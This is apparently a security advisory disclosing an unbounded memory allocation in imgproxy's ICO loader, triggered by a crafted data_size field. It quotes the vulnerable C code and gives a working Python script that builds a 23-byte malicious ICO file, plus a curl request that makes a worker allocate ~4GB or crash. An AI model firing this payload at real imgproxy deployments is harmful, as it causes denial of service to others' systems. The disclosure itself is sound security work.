imgproxy has unbounded memory allocation in ICO loader that allows unauthenticated memory-exhaustion DoS via crafted data_size field

### Summary Unbounded and unvalidated memory allocation in imgproxy's ICO loader (`vips/icoload.c`). An attacker-controlled `data_size` field (u32) from the ICO directory entry is passed directly to `VIPS_MALLOC` without any bounds check, so a single crafted 23-byte ICO file makes an imgproxy worker attempt a ~4GB allocation. Present in the latest release (v4.0.15) and the 3.3.x series; confirmed on a live production deployment of imgproxy v4.0.15. ### Details In `vips_foreign_load_ico_header` in `vips/icoload.c`, the selected directory entry's `data_size` is read and used directly for the allocation: ``` uint32_t data_size = GUINT32_FROM_LE(largest_image_header.data_size); // BMP file explicitly excludes BITMAPFILEHEADER, so we need to add it manually. VipsPel *data = (VipsPel *) VIPS_MALLOC(NULL, data_size + BMP_FILE_HEADER_LEN); ``` There is no validation that `data_size` is sane nor any check that the file actually contains `data_size` bytes at the declared `data_offset`. A crafted 23-byte ICO whose directory entry declares `data_size = 0xfa000068` (~4GB) drives `VIPS_MALLOC(NULL, ~4GB + 14)`. ### PoC ```py # make_ico_4gb.py — generates the exact 23-byte unbounded-allocation trigger. # Byte-identical to the checksummed, production-verified file: # ico-4gb.ico sha256 6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b import struct, hashlib hdr = struct.pack('<HHH', 0, 1, 1) # reserved, type=ICO, count=1 entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 0xfa000068, 0x16) data = b'\x00' blob = hdr + entry + data assert hashlib.sha256(blob).hexdigest() == \ '6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b' open('ico-4gb.ico', 'wb').write(blob) print(f"ico-4gb.ico: {len(blob)} bytes [VERIFIED]") ``` ``` # imgproxy v4.0.15 with local file sources enabled: # IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-4gb.ico@png" # → outcome depends on host memory: on a memory-constrained pod the worker # OOM-dies; on a larger host the ~4GB allocation succeeds transiently and # decode fails -> HTTP 500 (worker survives, but each request burns ~4GB # transiently — repeatable memory exhaustion). ``` ### Impact Unauthenticated network DoS / memory-exhaustion: on memory-constrained workers, a crash per crafted request. On larger hosts, ~4GB transient allocation per request (sustained firing exhausts memory or the allocation budget). Any imgproxy deployment that processes attacker-supplied images.